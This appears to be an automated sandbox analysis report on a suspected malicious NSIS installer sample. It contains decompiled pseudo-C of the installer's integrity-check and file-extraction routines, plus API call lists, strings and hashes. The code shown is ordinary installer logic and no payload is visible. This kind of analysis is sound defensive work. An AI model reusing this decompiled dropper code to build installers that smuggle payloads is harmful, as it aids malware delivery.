                                                                                                        							return "Installer integrity check has failed. Common causes include\nincomplete download and damaged media. Contact the\ninstaller\'s author to obtain a new copy.\n\nMore information at:\nhttp://nsis.sf.net/NSIS_Error";
                                                                                                        						}
                                                                                                        						if( *0x423eb4 != 0) {
                                                                                                        							if((_a4 & 0x00000002) == 0) {
                                                                                                        								E00402BD3(0);
                                                                                                        							}
                                                                                                        							goto L19;
                                                                                                        						}
                                                                                                        						E004057FE( &_v40, 0x417050, 0x1c);
                                                                                                        						_t89 = _v40;
                                                                                                        						if((_t89 & 0xfffffff0) == 0 && _v36 == 0xdeadbeef && _v24 == 0x74736e49 && _v28 == 0x74666f73 && _v32 == 0x6c6c754e) {
                                                                                                        							_a4 = _a4 | _t89;
                                                                                                        							_t103 =  *0x417040; // 0x0
                                                                                                        							 *0x423f40 =  *0x423f40 | _a4 & 0x00000002;
                                                                                                        							_t92 = _v16;
                                                                                                        							 *0x423eb4 = _t103;
                                                                                                        							if(_t92 > _t109) {
                                                                                                        								goto L30;
                                                                                                        							}
                                                                                                        							if((_a4 & 0x00000008) != 0 || (_a4 & 0x00000004) == 0) {
                                                                                                        								_v12 = _v12 + 1;
                                                                                                        								_t109 = _t92 - 4;
                                                                                                        								if(_t106 > _t109) {
                                                                                                        									_t106 = _t109;
                                                                                                        								}
                                                                                                        								goto L19;
                                                                                                        							} else {
                                                                                                        								goto L22;
                                                                                                        							}
                                                                                                        						}
                                                                                                        						L19:
                                                                                                        						if(_t109 <  *0x41f050) {
                                                                                                        							_v8 = E00405EF4(_v8, 0x417050, _t106);
                                                                                                        						}
                                                                                                        						 *0x417040 =  *0x417040 + _t106;
                                                                                                        						_t109 = _t109 - _t106;
                                                                                                        					} while (_t109 > 0);
                                                                                                        					goto L22;
                                                                                                        				}
                                                                                                        			}






























                                                                                                        0x00402c80
                                                                                                        0x00402c83
                                                                                                        0x00402c9d
                                                                                                        0x00402ca2
                                                                                                        0x00402cb5
                                                                                                        0x00402cba
                                                                                                        0x00402cc0
                                                                                                        0x00000000
                                                                                                        0x00402cc2
                                                                                                        0x00402cd3
                                                                                                        0x00402ce4
                                                                                                        0x00402ceb
                                                                                                        0x00402cf3
                                                                                                        0x00402cf8
                                                                                                        0x00402cfa
                                                                                                        0x00402dea
                                                                                                        0x00402dec
                                                                                                        0x00402df8
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00402e01
                                                                                                        0x00402e2d
                                                                                                        0x00402e32
                                                                                                        0x00402e3d
                                                                                                        0x00402e3f
                                                                                                        0x00402e50
                                                                                                        0x00402e6b
                                                                                                        0x00402e74
                                                                                                        0x00402e79
                                                                                                        0x00402e98
                                                                                                        0x00402ea8
                                                                                                        0x00402eba
                                                                                                        0x00402ebf
                                                                                                        0x00402ec7
                                                                                                        0x00402ed4
                                                                                                        0x00402edc
                                                                                                        0x00402ee1
                                                                                                        0x00402ee3
                                                                                                        0x00402ee3
                                                                                                        0x00402eeb
                                                                                                        0x00402eeb
                                                                                                        0x00402eee
                                                                                                        0x00402eef
                                                                                                        0x00402eef
                                                                                                        0x00402ef2
                                                                                                        0x00402ef4
                                                                                                        0x00402ef4
                                                                                                        0x00402ef7
                                                                                                        0x00402efe
                                                                                                        0x00402f0a
                                                                                                        0x00000000
                                                                                                        0x00402f0f
                                                                                                        0x00000000
                                                                                                        0x00402ec7
                                                                                                        0x00000000
                                                                                                        0x00402e7b
                                                                                                        0x00402e09
                                                                                                        0x00402e1b
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00402d00
                                                                                                        0x00402d00
                                                                                                        0x00402d05
                                                                                                        0x00402d09
                                                                                                        0x00402d10
                                                                                                        0x00402d17
                                                                                                        0x00402d19
                                                                                                        0x00402d19
                                                                                                        0x00402d21
                                                                                                        0x00402d28
                                                                                                        0x00402e87
                                                                                                        0x00402ec9
                                                                                                        0x00000000
                                                                                                        0x00402ec9
                                                                                                        0x00402d34
                                                                                                        0x00402db8
                                                                                                        0x00402dbb
                                                                                                        0x00402dc0
                                                                                                        0x00000000
                                                                                                        0x00402db8
                                                                                                        0x00402d41
                                                                                                        0x00402d46
                                                                                                        0x00402d4e
                                                                                                        0x00402d74
                                                                                                        0x00402d7a
                                                                                                        0x00402d83
                                                                                                        0x00402d89
                                                                                                        0x00402d8e
                                                                                                        0x00402d94
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00402d9e
                                                                                                        0x00402da6
                                                                                                        0x00402da9
                                                                                                        0x00402dae
                                                                                                        0x00402db0
                                                                                                        0x00402db0
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00402d9e
                                                                                                        0x00402dc1
                                                                                                        0x00402dc7
                                                                                                        0x00402dd7
                                                                                                        0x00402dd7
                                                                                                        0x00402dda
                                                                                                        0x00402de0
                                                                                                        0x00402de2
                                                                                                        0x00000000
                                                                                                        0x00402d00

                                                                                                        APIs
                                                                                                        • GetTickCount.KERNEL32 ref: 00402C86
                                                                                                        • GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\i6xFULh8J5.exe,00000400), ref: 00402CA2
                                                                                                          • Part of subcall function 0040583D: GetFileAttributesA.KERNELBASE(00000003,00402CB5,C:\Users\user\Desktop\i6xFULh8J5.exe,80000000,00000003), ref: 00405841
                                                                                                          • Part of subcall function 0040583D: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405863
                                                                                                        • GetFileSize.KERNEL32(00000000,00000000,0042B000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\i6xFULh8J5.exe,C:\Users\user\Desktop\i6xFULh8J5.exe,80000000,00000003), ref: 00402CEB
                                                                                                        • GlobalAlloc.KERNELBASE(00000040,00409130), ref: 00402E32
                                                                                                        Strings
                                                                                                        • Null, xrefs: 00402D6B
                                                                                                        • "C:\Users\user\Desktop\i6xFULh8J5.exe" , xrefs: 00402C7F
                                                                                                        • Error launching installer, xrefs: 00402CC2
                                                                                                        • Inst, xrefs: 00402D59
                                                                                                        • C:\Users\user\Desktop, xrefs: 00402CCD, 00402CD2, 00402CD8
                                                                                                        • C:\Users\user\AppData\Local\Temp\, xrefs: 00402C72, 00402E4A
                                                                                                        • Error writing temporary file. Make sure your temp folder is valid., xrefs: 00402E7B
                                                                                                        • Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00402EC9
                                                                                                        • C:\Users\user\Desktop\i6xFULh8J5.exe, xrefs: 00402C8C, 00402C9B, 00402CAF, 00402CCC
                                                                                                        • soft, xrefs: 00402D62
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
                                                                                                        • String ID: "C:\Users\user\Desktop\i6xFULh8J5.exe" $C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\i6xFULh8J5.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$soft
                                                                                                        • API String ID: 2803837635-1772610651
                                                                                                        • Opcode ID: 60ceed3c27925db81e17521e951e0acb4c8af2ccd94a95ed00efa1934550f9a0
                                                                                                        • Instruction ID: 0b72a330c31c6d4d52753dad6a5c3012229d4666e6dae103a7747cbc92612fb8
                                                                                                        • Opcode Fuzzy Hash: 60ceed3c27925db81e17521e951e0acb4c8af2ccd94a95ed00efa1934550f9a0
                                                                                                        • Instruction Fuzzy Hash: B761E231A40215ABDB20DF64DE49B9E7BB4EB04315F20407BF904B62D2D7BC9E458B9C
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 75%
                                                                                                        			E00401734(FILETIME* __ebx, void* __eflags) {
                                                                                                        				void* _t33;
                                                                                                        				void* _t41;
                                                                                                        				void* _t43;
                                                                                                        				FILETIME* _t49;
                                                                                                        				FILETIME* _t62;
                                                                                                        				void* _t64;
                                                                                                        				signed int _t70;
                                                                                                        				FILETIME* _t71;
                                                                                                        				FILETIME* _t75;
                                                                                                        				signed int _t77;
                                                                                                        				void* _t80;
                                                                                                        				CHAR* _t82;
                                                                                                        				void* _t85;
                                                                                                        
                                                                                                        				_t75 = __ebx;
                                                                                                        				_t82 = E004029F6(0x31);
                                                                                                        				 *(_t85 - 8) = _t82;
                                                                                                        				 *(_t85 + 8) =  *(_t85 - 0x24) & 0x00000007;
                                                                                                        				_t33 = E004056C6(_t82);
                                                                                                        				_push(_t82);
                                                                                                        				if(_t33 == 0) {
                                                                                                        					lstrcatA(E00405659(E00405B66(0x409b70, "C:\\Users\\jones\\AppData\\Local\\Temp")), ??);
                                                                                                        				} else {
                                                                                                        					_push(0x409b70);
                                                                                                        					E00405B66();
                                                                                                        				}
                                                                                                        				E00405DC8(0x409b70);
                                                                                                        				while(1) {
                                                                                                        					__eflags =  *(_t85 + 8) - 3;
                                                                                                        					if( *(_t85 + 8) >= 3) {
                                                                                                        						_t64 = E00405E61(0x409b70);
                                                                                                        						_t77 = 0;
                                                                                                        						__eflags = _t64 - _t75;
                                                                                                        						if(_t64 != _t75) {
                                                                                                        							_t71 = _t64 + 0x14;
                                                                                                        							__eflags = _t71;
                                                                                                        							_t77 = CompareFileTime(_t71, _t85 - 0x18);
                                                                                                        						}
                                                                                                        						asm("sbb eax, eax");
                                                                                                        						_t70 =  ~(( *(_t85 + 8) + 0xfffffffd | 0x80000000) & _t77) + 1;
                                                                                                        						__eflags = _t70;
                                                                                                        						 *(_t85 + 8) = _t70;
                                                                                                        					}
                                                                                                        					__eflags =  *(_t85 + 8) - _t75;
                                                                                                        					if( *(_t85 + 8) == _t75) {
                                                                                                        						E0040581E(0x409b70);
                                                                                                        					}
                                                                                                        					__eflags =  *(_t85 + 8) - 1;
                                                                                                        					_t41 = E0040583D(0x409b70, 0x40000000, (0 |  *(_t85 + 8) != 0x00000001) + 1);
                                                                                                        					__eflags = _t41 - 0xffffffff;
                                                                                                        					 *(_t85 - 0x34) = _t41;
                                                                                                        					if(_t41 != 0xffffffff) {
                                                                                                        						break;
                                                                                                        					}
                                                                                                        					__eflags =  *(_t85 + 8) - _t75;
                                                                                                        					if( *(_t85 + 8) != _t75) {
                                                                                                        						E00404F04(0xffffffe2,  *(_t85 - 8));
                                                                                                        						__eflags =  *(_t85 + 8) - 2;
                                                                                                        						if(__eflags == 0) {
                                                                                                        							 *((intOrPtr*)(_t85 - 4)) = 1;
                                                                                                        						}
                                                                                                        						L31:
                                                                                                        						 *0x423f28 =  *0x423f28 +  *((intOrPtr*)(_t85 - 4));
                                                                                                        						__eflags =  *0x423f28;
                                                                                                        						goto L32;
                                                                                                        					} else {
                                                                                                        						E00405B66(0x40a370, 0x424000);
                                                                                                        						E00405B66(0x424000, 0x409b70);
                                                                                                        						E00405B88(_t75, 0x40a370, 0x409b70, "C:\Users\jones\AppData\Local\Temp\nsm5CFC.tmp\System.dll",  *((intOrPtr*)(_t85 - 0x10)));
                                                                                                        						E00405B66(0x424000, 0x40a370);
                                                                                                        						_t62 = E00405427("C:\Users\jones\AppData\Local\Temp\nsm5CFC.tmp\System.dll",  *(_t85 - 0x24) >> 3) - 4;
                                                                                                        						__eflags = _t62;
                                                                                                        						if(_t62 == 0) {
                                                                                                        							continue;
                                                                                                        						} else {
                                                                                                        							__eflags = _t62 == 1;
                                                                                                        							if(_t62 == 1) {
                                                                                                        								 *0x423f28 =  &( *0x423f28->dwLowDateTime);
                                                                                                        								L32:
                                                                                                        								_t49 = 0;
                                                                                                        								__eflags = 0;
                                                                                                        							} else {
                                                                                                        								_push(0x409b70);
                                                                                                        								_push(0xfffffffa);
                                                                                                        								E00404F04();
                                                                                                        								L29:
                                                                                                        								_t49 = 0x7fffffff;
                                                                                                        							}
                                                                                                        						}
                                                                                                        					}
                                                                                                        					L33:
                                                                                                        					return _t49;
                                                                                                        				}
                                                                                                        				E00404F04(0xffffffea,  *(_t85 - 8));
                                                                                                        				 *0x423f54 =  *0x423f54 + 1;
                                                                                                        				_t43 = E00402F18(_t77,  *((intOrPtr*)(_t85 - 0x1c)),  *(_t85 - 0x34), _t75, _t75); // executed
                                                                                                        				 *0x423f54 =  *0x423f54 - 1;
                                                                                                        				__eflags =  *(_t85 - 0x18) - 0xffffffff;
                                                                                                        				_t80 = _t43;
                                                                                                        				if( *(_t85 - 0x18) != 0xffffffff) {
                                                                                                        					L22:
                                                                                                        					SetFileTime( *(_t85 - 0x34), _t85 - 0x18, _t75, _t85 - 0x18); // executed
                                                                                                        				} else {
                                                                                                        					__eflags =  *((intOrPtr*)(_t85 - 0x14)) - 0xffffffff;
                                                                                                        					if( *((intOrPtr*)(_t85 - 0x14)) != 0xffffffff) {
                                                                                                        						goto L22;
                                                                                                        					}
                                                                                                        				}
                                                                                                        				FindCloseChangeNotification( *(_t85 - 0x34)); // executed
                                                                                                        				__eflags = _t80 - _t75;
                                                                                                        				if(_t80 >= _t75) {
                                                                                                        					goto L31;
                                                                                                        				} else {
                                                                                                        					__eflags = _t80 - 0xfffffffe;
                                                                                                        					if(_t80 != 0xfffffffe) {
                                                                                                        						E00405B88(_t75, _t80, 0x409b70, 0x409b70, 0xffffffee);
                                                                                                        					} else {
                                                                                                        						E00405B88(_t75, _t80, 0x409b70, 0x409b70, 0xffffffe9);
                                                                                                        						lstrcatA(0x409b70,  *(_t85 - 8));
                                                                                                        					}
                                                                                                        					_push(0x200010);
                                                                                                        					_push(0x409b70);
                                                                                                        					E00405427();
                                                                                                        					goto L29;
                                                                                                        				}
                                                                                                        				goto L33;
                                                                                                        			}
















                                                                                                        0x00401734
                                                                                                        0x0040173b
                                                                                                        0x00401744
                                                                                                        0x00401747
                                                                                                        0x0040174a
                                                                                                        0x0040174f
                                                                                                        0x00401757
                                                                                                        0x00401773
                                                                                                        0x00401759
                                                                                                        0x00401759
                                                                                                        0x0040175a
                                                                                                        0x0040175a
                                                                                                        0x00401779
                                                                                                        0x00401783
                                                                                                        0x00401783
                                                                                                        0x00401787
                                                                                                        0x0040178a
                                                                                                        0x0040178f
                                                                                                        0x00401791
                                                                                                        0x00401793
                                                                                                        0x00401798
                                                                                                        0x00401798
                                                                                                        0x004017a3
                                                                                                        0x004017a3
                                                                                                        0x004017b4
                                                                                                        0x004017b6
                                                                                                        0x004017b6
                                                                                                        0x004017b7
                                                                                                        0x004017b7
                                                                                                        0x004017ba
                                                                                                        0x004017bd
                                                                                                        0x004017c0
                                                                                                        0x004017c0
                                                                                                        0x004017c7
                                                                                                        0x004017d6
                                                                                                        0x004017db
                                                                                                        0x004017de
                                                                                                        0x004017e1
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004017e3
                                                                                                        0x004017e6
                                                                                                        0x00401840
                                                                                                        0x00401845
                                                                                                        0x004015a8
                                                                                                        0x0040265c
                                                                                                        0x0040265c
                                                                                                        0x0040288b
                                                                                                        0x0040288e
                                                                                                        0x0040288e
                                                                                                        0x00000000
                                                                                                        0x004017e8
                                                                                                        0x004017ee
                                                                                                        0x004017f9
                                                                                                        0x00401806
                                                                                                        0x00401811
                                                                                                        0x00401827
                                                                                                        0x00401827
                                                                                                        0x0040182a
                                                                                                        0x00000000
                                                                                                        0x00401830
                                                                                                        0x00401830
                                                                                                        0x00401831
                                                                                                        0x0040184e
                                                                                                        0x00402894
                                                                                                        0x00402894
                                                                                                        0x00402894
                                                                                                        0x00401833
                                                                                                        0x00401833
                                                                                                        0x00401834
                                                                                                        0x00401492
                                                                                                        0x0040220e
                                                                                                        0x0040220e
                                                                                                        0x0040220e
                                                                                                        0x00401831
                                                                                                        0x0040182a
                                                                                                        0x00402896
                                                                                                        0x0040289a
                                                                                                        0x0040289a
                                                                                                        0x0040185e
                                                                                                        0x00401863
                                                                                                        0x00401871
                                                                                                        0x00401876
                                                                                                        0x0040187c
                                                                                                        0x00401880
                                                                                                        0x00401882
                                                                                                        0x0040188a
                                                                                                        0x00401896
                                                                                                        0x00401884
                                                                                                        0x00401884
                                                                                                        0x00401888
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00401888
                                                                                                        0x0040189f
                                                                                                        0x004018a5
                                                                                                        0x004018a7
                                                                                                        0x00000000
                                                                                                        0x004018ad
                                                                                                        0x004018ad
                                                                                                        0x004018b0
                                                                                                        0x004018c8
                                                                                                        0x004018b2
                                                                                                        0x004018b5
                                                                                                        0x004018be
                                                                                                        0x004018be
                                                                                                        0x004018cd
                                                                                                        0x004018d2
                                                                                                        0x00402209
                                                                                                        0x00000000
                                                                                                        0x00402209
                                                                                                        0x00000000

                                                                                                        APIs
                                                                                                        • lstrcatA.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Local\Temp,00000000,00000000,00000031), ref: 00401773
                                                                                                        • CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Local\Temp,00000000,00000000,00000031), ref: 0040179D
                                                                                                          • Part of subcall function 00405B66: lstrcpynA.KERNEL32(?,?,00000400,004032AA,004236A0,NSIS Error), ref: 00405B73
                                                                                                          • Part of subcall function 00404F04: lstrlenA.KERNEL32(0041FC78,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C4A,00000000,?), ref: 00404F3D
                                                                                                          • Part of subcall function 00404F04: lstrlenA.KERNEL32(00402C4A,0041FC78,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C4A,00000000), ref: 00404F4D
                                                                                                          • Part of subcall function 00404F04: lstrcatA.KERNEL32(0041FC78,00402C4A,00402C4A,0041FC78,00000000,00000000,00000000), ref: 00404F60
                                                                                                          • Part of subcall function 00404F04: SetWindowTextA.USER32(0041FC78,0041FC78), ref: 00404F72
                                                                                                          • Part of subcall function 00404F04: SendMessageA.USER32 ref: 00404F98
                                                                                                          • Part of subcall function 00404F04: SendMessageA.USER32 ref: 00404FB2
                                                                                                          • Part of subcall function 00404F04: SendMessageA.USER32 ref: 00404FC0
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
                                                                                                        • String ID: C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\nsm5CFC.tmp$C:\Users\user\AppData\Local\Temp\nsm5CFC.tmp\System.dll$Call
                                                                                                        • API String ID: 1941528284-253135279
                                                                                                        • Opcode ID: f1aec3e14e8b53bfedf3a96745d118412ecf568f931b37f6426065c9993612ab
                                                                                                        • Instruction ID: ca24b6133afb507e547736dc5ab02d451b7f1a2d30e0a517c5ad6537af4b780a
                                                                                                        • Opcode Fuzzy Hash: f1aec3e14e8b53bfedf3a96745d118412ecf568f931b37f6426065c9993612ab
                                                                                                        • Instruction Fuzzy Hash: 8441C131900515BBCB10BFB5DD46EAF3A79EF01369B24433BF511B11E1D63C9A418AAD
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 93%
                                                                                                        			E00402F18(void* __ecx, void _a4, void* _a8, void* _a12, long _a16) {
                                                                                                        				long _v8;
                                                                                                        				intOrPtr _v12;
                                                                                                        				void _t31;
                                                                                                        				intOrPtr _t32;
                                                                                                        				int _t35;
                                                                                                        				long _t36;
                                                                                                        				int _t37;
                                                                                                        				long _t38;
                                                                                                        				int _t40;
                                                                                                        				int _t42;
                                                                                                        				long _t43;
                                                                                                        				long _t44;
                                                                                                        				long _t55;
                                                                                                        				long _t57;
                                                                                                        
                                                                                                        				_t31 = _a4;
                                                                                                        				if(_t31 >= 0) {
                                                                                                        					_t44 = _t31 +  *0x423ef8;
                                                                                                        					 *0x417044 = _t44;
                                                                                                        					SetFilePointer( *0x409018, _t44, 0, 0); // executed
                                                                                                        				}
                                                                                                        				_t57 = 4;
                                                                                                        				_t32 = E00403043(_t57);
                                                                                                        				if(_t32 >= 0) {
                                                                                                        					_t35 = ReadFile( *0x409018,  &_a4, _t57,  &_v8, 0); // executed
                                                                                                        					if(_t35 == 0 || _v8 != _t57) {
                                                                                                        						L23:
                                                                                                        						_push(0xfffffffd);
                                                                                                        						goto L24;
                                                                                                        					} else {
                                                                                                        						 *0x417044 =  *0x417044 + _t57;
                                                                                                        						_t32 = E00403043(_a4);
                                                                                                        						_v12 = _t32;
                                                                                                        						if(_t32 >= 0) {
                                                                                                        							if(_a12 != 0) {
                                                                                                        								_t36 = _a4;
                                                                                                        								if(_t36 >= _a16) {
                                                                                                        									_t36 = _a16;
                                                                                                        								}
                                                                                                        								_t37 = ReadFile( *0x409018, _a12, _t36,  &_v8, 0); // executed
                                                                                                        								if(_t37 == 0) {
                                                                                                        									goto L23;
                                                                                                        								} else {
                                                                                                        									_t38 = _v8;
                                                                                                        									 *0x417044 =  *0x417044 + _t38;
                                                                                                        									_v12 = _t38;
                                                                                                        									goto L22;
                                                                                                        								}
                                                                                                        							} else {
                                                                                                        								if(_a4 <= 0) {
                                                                                                        									L22:
                                                                                                        									_t32 = _v12;
                                                                                                        								} else {
                                                                                                        									while(1) {
                                                                                                        										_t55 = 0x4000;
                                                                                                        										if(_a4 < 0x4000) {
                                                                                                        											_t55 = _a4;
                                                                                                        										}
                                                                                                        										_t40 = ReadFile( *0x409018, 0x413040, _t55,  &_v8, 0); // executed
                                                                                                        										if(_t40 == 0 || _t55 != _v8) {
                                                                                                        											goto L23;
                                                                                                        										}
                                                                                                        										_t42 = WriteFile(_a8, 0x413040, _v8,  &_a16, 0); // executed
                                                                                                        										if(_t42 == 0 || _a16 != _t55) {
                                                                                                        											_push(0xfffffffe);
                                                                                                        											L24:
                                                                                                        											_pop(_t32);
                                                                                                        										} else {
                                                                                                        											_t43 = _v8;
                                                                                                        											_v12 = _v12 + _t43;
                                                                                                        											_a4 = _a4 - _t43;
                                                                                                        											 *0x417044 =  *0x417044 + _t43;
                                                                                                        											if(_a4 > 0) {
                                                                                                        												continue;
                                                                                                        											} else {
                                                                                                        												goto L22;
                                                                                                        											}
                                                                                                        										}
                                                                                                        										goto L25;
                                                                                                        									}
                                                                                                        									goto L23;
                                                                                                        								}
                                                                                                        							}
                                                                                                        						}
                                                                                                        					}
                                                                                                        				}
                                                                                                        				L25:
                                                                                                        				return _t32;
                                                                                                        			}

















                                                                                                        0x00402f1d
                                                                                                        0x00402f27
                                                                                                        0x00402f30
                                                                                                        0x00402f34
                                                                                                        0x00402f3f
                                                                                                        0x00402f3f
                                                                                                        0x00402f47
                                                                                                        0x00402f49
                                                                                                        0x00402f50
                                                                                                        0x00402f6c
                                                                                                        0x00402f70
                                                                                                        0x00403039
                                                                                                        0x00403039
                                                                                                        0x00000000
                                                                                                        0x00402f7f
                                                                                                        0x00402f82
                                                                                                        0x00402f88
                                                                                                        0x00402f8f
                                                                                                        0x00402f92
                                                                                                        0x00402f9b
                                                                                                        0x00403008
                                                                                                        0x0040300e
                                                                                                        0x00403010
                                                                                                        0x00403010
                                                                                                        0x00403022
                                                                                                        0x00403026
                                                                                                        0x00000000
                                                                                                        0x00403028
                                                                                                        0x00403028
                                                                                                        0x0040302b
                                                                                                        0x00403031
                                                                                                        0x00000000
                                                                                                        0x00403031
                                                                                                        0x00402f9d
                                                                                                        0x00402fa0
                                                                                                        0x00403034
                                                                                                        0x00403034
                                                                                                        0x00402fa6
                                                                                                        0x00402fab
                                                                                                        0x00402fab
                                                                                                        0x00402fb3
                                                                                                        0x00402fb5
                                                                                                        0x00402fb5
                                                                                                        0x00402fc6
                                                                                                        0x00402fca
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00402fde
                                                                                                        0x00402fe6
                                                                                                        0x00403004
                                                                                                        0x0040303b
                                                                                                        0x0040303b
                                                                                                        0x00402fed
                                                                                                        0x00402fed
                                                                                                        0x00402ff0
                                                                                                        0x00402ff3
                                                                                                        0x00402ff6
                                                                                                        0x00403000
                                                                                                        0x00000000
                                                                                                        0x00403002
                                                                                                        0x00000000
                                                                                                        0x00403002
                                                                                                        0x00403000
                                                                                                        0x00000000
                                                                                                        0x00402fe6
                                                                                                        0x00000000
                                                                                                        0x00402fab
                                                                                                        0x00402fa0
                                                                                                        0x00402f9b
                                                                                                        0x00402f92
                                                                                                        0x00402f70
                                                                                                        0x0040303c
                                                                                                        0x00403040

                                                                                                        APIs
                                                                                                        • SetFilePointer.KERNELBASE(00409130,00000000,00000000,00000000,00000000,00000000,?,?,?,00402EC4,000000FF,00000000,00000000,00409130,?), ref: 00402F3F
                                                                                                        • ReadFile.KERNELBASE(00409130,00000004,?,00000000,00000004,00000000,00000000,00000000,?,?,?,00402EC4,000000FF,00000000,00000000,00409130), ref: 00402F6C
                                                                                                        • ReadFile.KERNELBASE(00413040,00004000,?,00000000,00409130,?,00402EC4,000000FF,00000000,00000000,00409130,?), ref: 00402FC6
                                                                                                        • WriteFile.KERNELBASE(00000000,00413040,?,000000FF,00000000,?,00402EC4,000000FF,00000000,00000000,00409130,?), ref: 00402FDE
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: File$Read$PointerWrite
                                                                                                        • String ID: @0A
                                                                                                        • API String ID: 2113905535-1363546919
                                                                                                        • Opcode ID: 3fc20a6f8204afd4db5be5275d6ec1a2b538eb21de19a3adc5be7867336c551b
                                                                                                        • Instruction ID: f0f891dec1baa82fcb152a6e3a42d02399587e043c2e4755ce28507b82245ee9
                                                                                                        • Opcode Fuzzy Hash: 3fc20a6f8204afd4db5be5275d6ec1a2b538eb21de19a3adc5be7867336c551b
                                                                                                        • Instruction Fuzzy Hash: 3F315731501249EBDB21CF55DD40A9E7FBCEB843A5F20407AFA05A6190D3789F81DBA9
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 94%
                                                                                                        			E00403043(intOrPtr _a4) {
                                                                                                        				long _v4;
                                                                                                        				void* __ecx;
                                                                                                        				intOrPtr _t12;
                                                                                                        				intOrPtr _t13;
                                                                                                        				signed int _t14;
                                                                                                        				void* _t16;
                                                                                                        				void* _t17;
                                                                                                        				long _t18;
                                                                                                        				int _t21;
                                                                                                        				intOrPtr _t34;
                                                                                                        				long _t35;
                                                                                                        				intOrPtr _t37;
                                                                                                        				void* _t39;
                                                                                                        				long _t40;
                                                                                                        				intOrPtr _t53;
                                                                                                        
                                                                                                        				_t35 =  *0x417044; // 0x5ef43
                                                                                                        				_t37 = _t35 -  *0x40afb0 + _a4;
                                                                                                        				 *0x423eac = GetTickCount() + 0x1f4;
                                                                                                        				if(_t37 <= 0) {
                                                                                                        					L23:
                                                                                                        					E00402BD3(1);
                                                                                                        					return 0;
                                                                                                        				}
                                                                                                        				E004031F1( *0x41f054);
                                                                                                        				SetFilePointer( *0x409018,  *0x40afb0, 0, 0); // executed
                                                                                                        				 *0x41f050 = _t37;
                                                                                                        				 *0x417040 = 0;
                                                                                                        				while(1) {
                                                                                                        					_t12 =  *0x417048; // 0x84143
                                                                                                        					_t34 = 0x4000;
                                                                                                        					_t13 = _t12 -  *0x41f054;
                                                                                                        					if(_t13 <= 0x4000) {
